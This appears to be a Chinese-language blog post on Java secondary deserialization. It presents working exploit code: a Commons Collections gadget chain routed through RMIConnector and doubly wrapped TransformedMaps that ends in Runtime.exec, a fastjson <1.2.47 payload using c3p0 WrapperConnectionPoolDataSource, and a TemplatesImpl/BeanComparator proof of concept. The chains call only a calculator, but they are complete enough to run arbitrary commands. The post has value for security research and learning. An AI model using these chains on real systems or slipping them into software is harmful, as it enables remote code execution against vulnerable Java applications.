public class cc_nolazymap_RMIconnect_1 {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());
System.out.println(exp);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

HashMap<Object, Object> map = new HashMap<>();
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
Map<Object, Object> outmap = TransformedMap.decorate(map, null,invokerTransformer);
map.put("value", "value");
Map outoutmap = TransformedMap.decorate(outmap,null,constantTransformer);

Class test = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=test.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class,outoutmap);


serialize(obj);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}



public static void setFieldValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}
}

这里没有选择构造一个数组,而是使用了两次TransformedMap包裹

分析

我们普通的链子是这样的

1
AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->InvokerTransformer.transform

想要执行我们的语句,也就是让value的值变成恶意的对象connect

查看AbstractInputCheckedMapDecorator的函数

image-20240303161536203

如果把我们的对象存放在ConstantTransformer里面,这里就会进入ConstantTransformer的transform里面,会返回构造他的函数参数,也就是这个对象本身

image-20240303163344218

但是在正常的链子里面,即使我们获得了我们的恶意对象,由于map的是hashmap,就会直接走入到hashmap里面

我们如果使用TransformedMap作为map传入,这样又让他进入一次AbstractInputCheckedMapDecorator.setValue,触发我们的注入

1
第一次transform获取ConstantTransformer包裹的RMIConnector,放在value里面。然后transform我们二次用ConstantTransformer包裹的“connect“,传入,触发我们的rmi链子

后话

这条链子感觉有点鸡肋,想要触发我们的connect方法,就需要用到任意方法调用,但是如果能任意方法调用,我为啥不能直接rce呢

除非是存在cc链的相关依赖,但是黑名单?为了出题而出题吧

WrapperConnectionPoolDataSource

fastjson<1.2.47

1
2
3
4
5
6
7
8
9
10
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"rand2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
}
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static util.Tool.*;

public class Hex {
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
payload("mate-calc").toBytecode()});
setFieldValue(obj, "_name", "Poria");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, null});

run(queue, "debug", "hex");
}
}

参考

二次反序列化 看我一命通关 - 跳跳糖 (tttang.com)

首页|Aiwinv

反序列化篇之ROME - Longlone’s Blog